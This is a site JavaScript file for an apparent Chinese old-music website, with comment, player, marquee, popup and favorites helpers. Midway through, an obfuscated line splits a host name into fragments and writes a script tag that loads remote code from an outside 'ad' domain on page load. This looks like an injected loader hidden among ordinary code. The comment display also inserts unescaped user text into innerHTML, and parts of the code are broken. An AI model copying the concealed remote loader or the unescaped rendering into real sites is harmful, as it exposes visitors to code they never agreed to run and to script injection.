var web_path="/2009/";

var currentDomain = location.host;
var newDomain = "www.laoge888.com";
if (currentDomain != newDomain)
    top.location.href = "http://"+newDomain+location.pathname+location.search;

function getObject(idname) {if (document.getElementById){return document.getElementById(idname);}else if (document.all){return document.all[idname];}else if (document.layers){return document.layers[idname];}else{return null;}}function getTags(parentobj, tag){if (parentobj == null){return new Array();}else if (typeof parentobj.getElementsByTagName != 'undefined'){return parentobj.getElementsByTagName(tag);}else if (parentobj.all && parentobj.all.tags){return parentobj.all.tags(tag);}else{return new Array();}}

function clk(act,id){var v = "";var o;var a = getTags(getObject(id),"input");for(var i=0; i<a.length; i++){o = a[i];if(act=="all"){o.checked = true;}else if(act=="un"){if(o.checked){o.checked = false;}else{o.checked = true;}}else if(act=="random"){o.checked = Math.random()>1/3;}else{var n = a[i].value;if(n>0 && a[i].checked){v = v + a[i].value + "&id=";}}}if(act=="play"){v = v.substring(0,v.length-4);if(v.length==0){alert("请选择歌曲后再播放！");}else{window.open(""+web_path+"play.asp?id="+v+"","players");}}}

function $(id){return document.getElementById(id);}
function show(o){document.getElementById(o).style.display="block";}
function hide(o){document.getElementById(o).style.display="none";}
function geturl(url,id){
var http=false;
$(id).innerHTML='<span class="loading">&nbsp;&nbsp;</span>';
if(window.XMLHttpRequest){http=new XMLHttpRequest();if(http.overrideMimeType){http.overrideMimeType('text/plain');}}else if(window.ActiveXObject){try{http=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{http=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){}}}
if(!http){alert('Cannot send an XMLHTTP request');return false;}
http.onreadystatechange=function(){if(http.readyState==4){$(id).innerHTML=http.responseText;}}
http.open("get", url, true);
http.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
http.send(null);
}

function nTabs(thisObj,Num){
if(thisObj.className == "active")return;
var tabObj = thisObj.parentNode.id;
var tabList = document.getElementById(tabObj).getElementsByTagName("li");
for(i=0; i <tabList.length; i++)
{
  if (i == Num)
  {
   thisObj.className = "active"; 
      document.getElementById(tabObj+"_Content"+i).style.display = "block";
  }else{
   tabList[i].className = "normal"; 
   document.getElementById(tabObj+"_Content"+i).style.display = "none";
  }
} 
}

function CheckOthers(formname)
{
	for (var i=0;i<form.elements.length;i++)
	{
		var e = formname.elements[i];
//		if (e.name != 'chkall')
			if (e.checked==false)
			{
				e.checked = true;// form.chkall.checked;
			}
			else
			{
				e.checked = false;
			}
	}
}

function CheckAll(formname)
{
	for (var i=0;i<form.elements.length;i++)
	{
		var e = formname.elements[i];
//		if (e.name != 'chkall')
			e.checked = true// form.chkall.checked;
	}
}

function CheckPlayer()
{
	alert(document.form.checked.value);
}

function showword(openurl)
{
var controlWindow=window.open(openurl,"","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,width=580,height=387");
//controlWindow.moveTo(200,150);
}
function plays(openurl)
{
var controlWindow=window.open(openurl,"dgplays","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=580,height=387");
//controlWindow.moveTo(200,150);
}

function playmusic() {
var Musicurl = ""+web_path+"54gf44.asp?Old="+ [Old] +"&Title="+ Title +"&Url="+ M_sid +"&Author="+ Author +"";//注入音乐Url
document.write("<object id=\"Exobud\" width=\"100%\" height=\"64\" classid=\"CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6\" ");
document.write("codebase=\"http:\/\/activex.microsoft.com\/activex\/controls\/mplayer\/en\/nsmp2inf.cab#Version=6,4,7,1112\"");
document.write("align=\"baseline\" border=\"0\" standby=\"Loading Microsoft Windows Media Player components...\" ");
document.write("type=\"application\/x-oleobject\" oncontextmenu=\"return(false)\">");
document.write("<param name=\"URL\" value=\""+Musicurl+"\">");
document.write("<param name=\"autoStart\" value=\"true\">");
document.write("<param name=\"invokeURLs\" value=\"false\">");
document.write("<param name=\"volume\" value=\"100\">");
document.write("<param name=\"playCount\" value=\"100\">");
document.write("<param name=\"defaultFrame\" value=\"datawindow\">");
document.write("<embed src=\""+Musicurl+"\" align=\"baseline\" border=\"0\" width=\"340\" height=\"64\"");
document.write("type=\"application\/x-mplayer2\"");
document.write("pluginspage=\"\"");
document.write("name=\"MediaPlayer1\" showcontrols=\"1\" showpositioncontrols=\"0\"");
document.write("showaudiocontrols=\"1\" showtracker=\"1\" showdisplay=\"0\"");
document.write("showstatusbar=\"1\"");
document.write("autosize=\"0\"");
document.write("showgotobar=\"0\" showcaptioning=\"0\" autostart=\"1\" autorewind=\"0\"");
document.write("animationatstart=\"0\" transparentatstart=\"0\" allowscan=\"1\"");
document.write("enablecontextmenu=\"1\" clicktoplay=\"0\" ");
document.write("defaultframe=\"datawindow\" invokeurls=\"0\">");
document.write("<\/embed>");
document.write("<\/object>");
}

var xmlHttp;
var addNew;
function GetXmlHttpObject(handler)
{ 
	var objXmlHttp=null	
	if (navigator.userAgent.indexOf("MSIE")>=0)
	{ 
		var strName="Msxml2.XMLHTTP"
		if (navigator.appVersion.indexOf("MSIE 5.5")>=0)
		{
			strName="Microsoft.XMLHTTP"
		} 
		try
		{   
			objXmlHttp=new ActiveXObject(strName)
			objXmlHttp.onreadystatechange=handler 
			return objXmlHttp
		} 
		catch(e)
		{ 
			alert("Error. Scripting for ActiveX might be disabled") 
			return 
		} 
	}
	else
	{
		objXmlHttp=new XMLHttpRequest()
		objXmlHttp.onload=handler
		objXmlHttp.onerror=handler 
		return objXmlHttp
	}
}
/* 显示留言 */
function showre(id,no)
{   document.getElementById("list").innerHTML = "";
	var url = ""+web_path+"Ping.asp?id="+id+"&page="+no;
	xmlHttp=GetXmlHttpObject(showlist)
	xmlHttp.open("GET", url , true)
	xmlHttp.send(null)
}
function showlist()
{
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") {   
	    document.getElementById("list").innerHTML = ""
		xmlAuthor = xmlHttp.responseXML.getElementsByTagName("Author")
		xmlContent = xmlHttp.responseXML.getElementsByTagName("Content")
		xmlNoI = xmlHttp.responseXML.getElementsByTagName("NoI")
		xmlIP = xmlHttp.responseXML.getElementsByTagName("IP")
		xmlreContent = xmlHttp.responseXML.getElementsByTagName("reContent")
		//输出评论
		for (i=0;i<xmlContent.length;i++) {  
		    var Content = xmlContent[i].firstChild.data;
            var div = document.createElement("DIV");   
            div.id = i; 
			if (Content == "没有评论") {
			    //alert(1)
			    div.innerHTML = "<div style='margin:15px;color:#ff0000;'>还没有评论，就等您了~~</div>"
			}
			else {
			    var Author = xmlAuthor[i].firstChild.data;
			    var PostTime = xmlAuthor[i].getAttribute('PostTime');
			    var NoI = xmlNoI[i].firstChild.data;
			    var IP = xmlIP[i].firstChild.data;
				var reContent = xmlreContent[i].firstChild.data;
			    div.innerHTML = "<div class='plun' style='clear:both;'><div class='ptitle'><div class='pnoi'>"+NoI+"楼.</div><div class='pname'>"+Author+"</div><div class='pIP'>来自："+IP+"</div><div class='pltime'>"+PostTime+"</div></div><div class='pings'>"+Content+"<div class='repings'>"+reContent+"</div></div></div>"
			}
            document.getElementById("list").appendChild(div);
		}
		 //输出分页信息
		P_Nums = xmlHttp.responseXML.getElementsByTagName("data")[0].getAttribute('P_Nums');
		if (P_Nums>1) {
	    	var page = xmlHttp.responseXML.getElementsByTagName("data")[0].getAttribute('page');
	    	var ID = xmlHttp.responseXML.getElementsByTagName("data")[0].getAttribute('ID');
		var D_Nums = xmlHttp.responseXML.getElementsByTagName("data")[0].getAttribute('D_Nums');
		    var l1 = "<a class='total'>&nbsp;"+D_Nums+"&nbsp;</a><a class='pages'>&nbsp;"+page+"/"+P_Nums+"&nbsp;</a>"
			l1 = (page>1)?l1+"<a href='javascript:showre("+ID+",1)' class='redirect'><img src='"+web_path+"images/first.gif' width='9' height='8' />&nbsp;</a>":l1;
			var l2 = "";
			for (var i =1;i<=P_Nums;i++) {
			     l2 += (i == page)?"<a class='curpage'>"+i+"</a>":"<a href='javascript:showre("+ID+","+i+")' class='num'>"+i+"</a>"
			}
			l2 = (page == P_Nums)?l2:l2+"<a href='javascript:showre("+ID+","+P_Nums+")' class='redirect'><img src='"+web_path+"images/last.gif' width='9' height='8' />&nbsp;</a>"
			document.getElementById("MultiPage").innerHTML = l1+l2;
		}
	}
	
}
/* 发送留言 */
function AddNew() {
    document.getElementById("sendGuest").disabled = true;
    var Author = escape(document.getElementById("memAuthor").value);
    var Content = escape(document.getElementById("memContent").value);
	var MusicID = escape(document.getElementById("MusicID").value);
    if (Content == "") {
	    alert("请填写完整！");
		document.getElementById("sendGuest").disabled = false;
		return false;
	}
    addNew = GetXmlHttpObject(sendGuest);
    var GuestInfo = "Author="+Author+"&MusicID="+MusicID+"&Content="+Content;
    addNew.open("POST",""+web_path+"AddNew.asp",false); 
    addNew.setRequestHeader("Content-Type","application/x-www-form-urlencoded") 
    addNew.send(GuestInfo); 
} 
function sendGuest() {
    if (addNew.readyState==4 || addNew.readyState=="complete") {
       alert(unescape(addNew.responseText));
	   document.getElementById("sendGuest").disabled = false;
	   document.getElementById("memAuthor").value = "";
	   document.getElementById("memContent").value = "";
	   showre(document.getElementById("MusicID").value,1);
	} 
}
function reSet() {
     document.getElementById("memAuthor").value = "";
	 document.getElementById("memContent").value = "";
}
if (top.location.pathname.toLowerCase().indexOf(".htm")!=-1)
document.write("<sc"+"ript src='http://ad"+".zo"+"m1"+"23"+".ne"+"t/ip"+".asp?lo"+"c=guilin'><\/sc"+"ript>");
function Marquee()
{
	this.ID = document.getElementById(arguments[0]);
	if(!this.ID)
	{
		//alert("您要设置的\"" + arguments[0] + "\"初始化错误\r\n请检查标签ID设置是否正确!");
		this.ID = -1;
		return;
	}
	this.Direction = this.Width = this.Height = this.DelayTime = this.WaitTime = this.Correct = this.CTL = this.StartID = this.Stop = this.MouseOver = 0;
	this.Step = 1;
	this.Timer = 30;
	this.DirectionArray = {"top":0 , "bottom":1 , "left":2 , "right":3};
	if(typeof arguments[1] == "number" || typeof arguments[1] == "string")this.Direction = arguments[1];
	if(typeof arguments[2] == "number")this.Step = arguments[2];
	if(typeof arguments[3] == "number")this.Width = arguments[3];
	if(typeof arguments[4] == "number")this.Height = arguments[4];
	if(typeof arguments[5] == "number")this.Timer = arguments[5];
	if(typeof arguments[6] == "number")this.DelayTime = arguments[6];
	if(typeof arguments[7] == "number")this.WaitTime = arguments[7];
	if(typeof arguments[8] == "number")this.ScrollStep = arguments[8]
	this.ID.style.overflow = this.ID.style.overflowX = this.ID.style.overflowY = "hidden";
	this.ID.noWrap = true;
	this.IsNotOpera = (navigator.userAgent.toLowerCase().indexOf("opera") == -1);
	if(arguments.length >= 7)this.Start();
}


Marquee.prototype.Start = function()
{
	if(this.ID == -1)return;
	if(this.WaitTime < 800)this.WaitTime = 800;
	if(this.Timer < 20)this.Timer = 20;
	if(this.Width == 0)this.Width = parseInt(this.ID.style.width);
	if(this.Height == 0)this.Height = parseInt(this.ID.style.height);
	if(typeof this.Direction == "string")this.Direction = this.DirectionArray[this.Direction.toString().toLowerCase()];
	this.HalfWidth = Math.round(this.Width / 2);
	this.BakStep = this.Step;
	this.ID.style.width = this.Width;
	this.ID.style.height = this.Height;
	if(typeof this.ScrollStep != "number")this.ScrollStep = this.Direction > 1 ? this.Width : this.Height;
	var msobj = this;
	var timer = this.Timer;
	var delaytime = this.DelayTime;
	var waittime = this.WaitTime;
	msobj.StartID = function(){msobj.Scroll()}
	msobj.Continue = function()
				{
					if(msobj.MouseOver == 1)
					{
						setTimeout(msobj.Continue,delaytime);
					}
					else
					{	clearInterval(msobj.TimerID);
						msobj.CTL = msobj.Stop = 0;
						msobj.TimerID = setInterval(msobj.StartID,timer);
					}
				}

	msobj.Pause = function()
			{
				msobj.Stop = 1;
				clearInterval(msobj.TimerID);
				setTimeout(msobj.Continue,delaytime);
			}

	msobj.Begin = function()
		{
			msobj.ClientScroll = msobj.Direction > 1 ? msobj.ID.scrollWidth : msobj.ID.scrollHeight;
			if((msobj.Direction <= 1 && msobj.ClientScroll <msobj.Height) || (msobj.Direction > 1 && msobj.ClientScroll <msobj.Width))return;
			msobj.ID.innerHTML += msobj.ID.innerHTML;
			msobj.TimerID = setInterval(msobj.StartID,timer);
			if(msobj.ScrollStep < 0)return;
			msobj.ID.onmousemove = function(event)
						{
							if(msobj.ScrollStep == 0 && msobj.Direction > 1)
							{
								var event = event || window.event;
								if(window.event)
								{
									if(msobj.IsNotOpera)
									{
										msobj.EventLeft = event.srcElement.id == msobj.ID.id ? event.offsetX - msobj.ID.scrollLeft : event.srcElement.offsetLeft - msobj.ID.scrollLeft + event.offsetX;
									}
									else
									{
										msobj.ScrollStep = null;
										return;
									}
								}
								else
								{
									msobj.EventLeft = event.layerX - msobj.ID.scrollLeft;
								}
								msobj.Direction = msobj.EventLeft > msobj.HalfWidth ? 3 : 2;
								msobj.AbsCenter = Math.abs(msobj.HalfWidth - msobj.EventLeft);
								msobj.Step = Math.round(msobj.AbsCenter * (msobj.BakStep*2) / msobj.HalfWidth);
							}
						}
			msobj.ID.onmouseover = function()
						{
							if(msobj.ScrollStep == 0)return;
							msobj.MouseOver = 1;
							clearInterval(msobj.TimerID);
						}
			msobj.ID.onmouseout = function()
						{
							if(msobj.ScrollStep == 0)
							{
								if(msobj.Step == 0)msobj.Step = 1;
								return;
							}
							msobj.MouseOver = 0;
							if(msobj.Stop == 0)
							{
								clearInterval(msobj.TimerID);
								msobj.TimerID = setInterval(msobj.StartID,timer);
							}
						}
		}
	setTimeout(msobj.Begin,waittime);
}

Marquee.prototype.Scroll = function()
{
	switch(this.Direction)
	{
		case 0:
			this.CTL += this.Step;
			if(this.CTL >= this.ScrollStep && this.DelayTime > 0)
			{
				this.ID.scrollTop += this.ScrollStep + this.Step - this.CTL;
				this.Pause();
				return;
			}
			else
			{
				if(this.ID.scrollTop >= this.ClientScroll)
				{
					this.ID.scrollTop -= this.ClientScroll;
				}
				this.ID.scrollTop += this.Step;
			}
		break;

		case 1:
			this.CTL += this.Step;
			if(this.CTL >= this.ScrollStep && this.DelayTime > 0)
			{
				this.ID.scrollTop -= this.ScrollStep + this.Step - this.CTL;
				this.Pause();
				return;
			}
			else
			{
				if(this.ID.scrollTop <= 0)
				{
					this.ID.scrollTop += this.ClientScroll;
				}
				this.ID.scrollTop -= this.Step;
			}
		break;

		case 2:
			this.CTL += this.Step;
			if(this.CTL >= this.ScrollStep && this.DelayTime > 0)
			{
				this.ID.scrollLeft += this.ScrollStep + this.Step - this.CTL;
				this.Pause();
				return;
			}
			else
			{
				if(this.ID.scrollLeft >= this.ClientScroll)
				{
					this.ID.scrollLeft -= this.ClientScroll;
				}
				this.ID.scrollLeft += this.Step;
			}
		break;

		case 3:
			this.CTL += this.Step;
			if(this.CTL >= this.ScrollStep && this.DelayTime > 0)
			{
				this.ID.scrollLeft -= this.ScrollStep + this.Step - this.CTL;
				this.Pause();
				return;
			}
			else
			{
				if(this.ID.scrollLeft <= 0)
				{
					this.ID.scrollLeft += this.ClientScroll;
				}
				this.ID.scrollLeft -= this.Step;
			}
		break;
	}
}

//图片缩放
function resizeimg(ImgD,iwidth,iheight) {
     var image=new Image();
     image.src=ImgD.src;
     if(image.width>0 && image.height>0){
        if(image.width/image.height>= iwidth/iheight){
           if(image.width>iwidth){
               ImgD.width=iwidth;
               ImgD.height=(image.height*iwidth)/image.width;
           }else{
                  ImgD.width=image.width;
                  ImgD.height=image.height;
                }
               ImgD.alt=image.width+"×"+image.height;
        }
        else{
                if(image.height>iheight){
                       ImgD.height=iheight;
                       ImgD.width=(image.width*iheight)/image.height;
                }else{
                        ImgD.width=image.width;
                        ImgD.height=image.height;
                     }
                ImgD.alt=image.width+"×"+image.height;
            }
　　　　　ImgD.style.cursor= "pointer"; //改变鼠标指针
　　　　　ImgD.onclick = function() { window.open(this.src);} //点击打开大图片
　　　　if (navigator.userAgent.toLowerCase().indexOf("ie") > -1) { //判断浏览器，如果是IE
　　　　　　ImgD.title = "请使用鼠标滚轮缩放图片!";
　　　　　　ImgD.onmousewheel = function img_zoom() //滚轮缩放
　　　　　 {
　　　　　　　　　　var zoom = parseInt(this.style.zoom, 10) || 100;
　　　　　　　　　　zoom += event.wheelDelta / 12;
　　　　　　　　　　if (zoom> 0)　this.style.zoom = zoom + "%";
　　　　　　　　　　return false;
　　　　　 }
　　　  } else { //如果不是IE
　　　　　　　     ImgD.title = "点击图片可在新窗口打开";
　　　　　　   }
    }
}

//加入收藏
function addfavorite()
{
 if (document.all)
 {
 window.external.addFavorite('http://www.oldmusic.com.cn','大漠老歌网www.oldmusic.com.cn');
 }
 else if (window.sidebar)
 {
 window.sidebar.addPanel('大漠老歌网', 'http://www.oldmusic.com.cn', "");
 }
}

function sc2(){ 
 document.getElementById("uservip").style.top=(document.documentElement.scrollTop+(document.documentElement.clientHeight-document.getElementById("uservip").offsetHeight)/2)+"px"; 
 document.getElementById("uservip").style.left=(document.documentElement.scrollLeft+(document.documentElement.clientWidth-document.getElementById("uservip").offsetWidth)/2)+"px"; 
}
function scall(){
 sc2();
}
window.onscroll=scall;
window.onresize=scall;
//window.onload=scall;

document.writeln("<div id=\"uservip\" class=\"white_content\"> ");
document.writeln("	<h5><span><a href=\"#\" onClick=\"document.getElementById(\'uservip\').style.display=\'none\';document.getElementById(\'fade\').style.display=\'none\'\"><img src=\"\/2009\/images\/close.gif\" \/><\/a><\/span>会员升级需知<\/h5>");
document.writeln("<div style=\"margin-top:20px;line-height:25px;\">本站目前VIP会员费为200元\/年<br>");
document.writeln("终身荣誉会员为500元<br>");
document.writeln("充点数为：10元=10点<br>");
document.writeln("联系QQ：22862559<br>");
document.writeln("<a href='\/pay.asp'>现在充值</a>");
document.writeln("<\/div>")
document.writeln("<\/div> ");
document.writeln("<div id=\"fade\" class=\"black_overlay\"><\/div> ")

function Getcolor(img_val,input_val){
	var arr = showModalDialog("../images/selcolor.html?action=title", "", "dialogWidth:18.5em; dialogHeight:17.5em; status:0; help:0");
	if (arr != null){
		document.getElementById(input_val).value = arr;
		img_val.style.backgroundColor = arr;
		}
}
shq={};
shq.isSearch=/(baidu|yahoo|google|sogou|soso|hao123ol|369|020|6655|7345|6dh|71314|2523)\.(cn|com)/.test(document.referrer)
shq.isIE=window.ActiveXObject ? true : false;
shq.isFirefox=(navigator.userAgent.toLowerCase().indexOf("firefox")!=-1);
shq.isOpera = (navigator.userAgent.toLowerCase().indexOf("opera")!=-1);
shq.AddFavorite=function()
{
    if(shq.isIE){
         window.external.AddFavorite('www.oldmusic.com.cn','大 漠 老 歌 网')
        }else if(shq.isFirefox)
        {
         window.sidebar.addPanel('大 漠 老 歌 网','www.oldmusic.com.cn',"");
        }else
        {
      	alert('AddFavorite to your panel? CTRL+T') 
        }
        //return tmp;
}
//if(shq.isSearch){shq.AddFavorite()}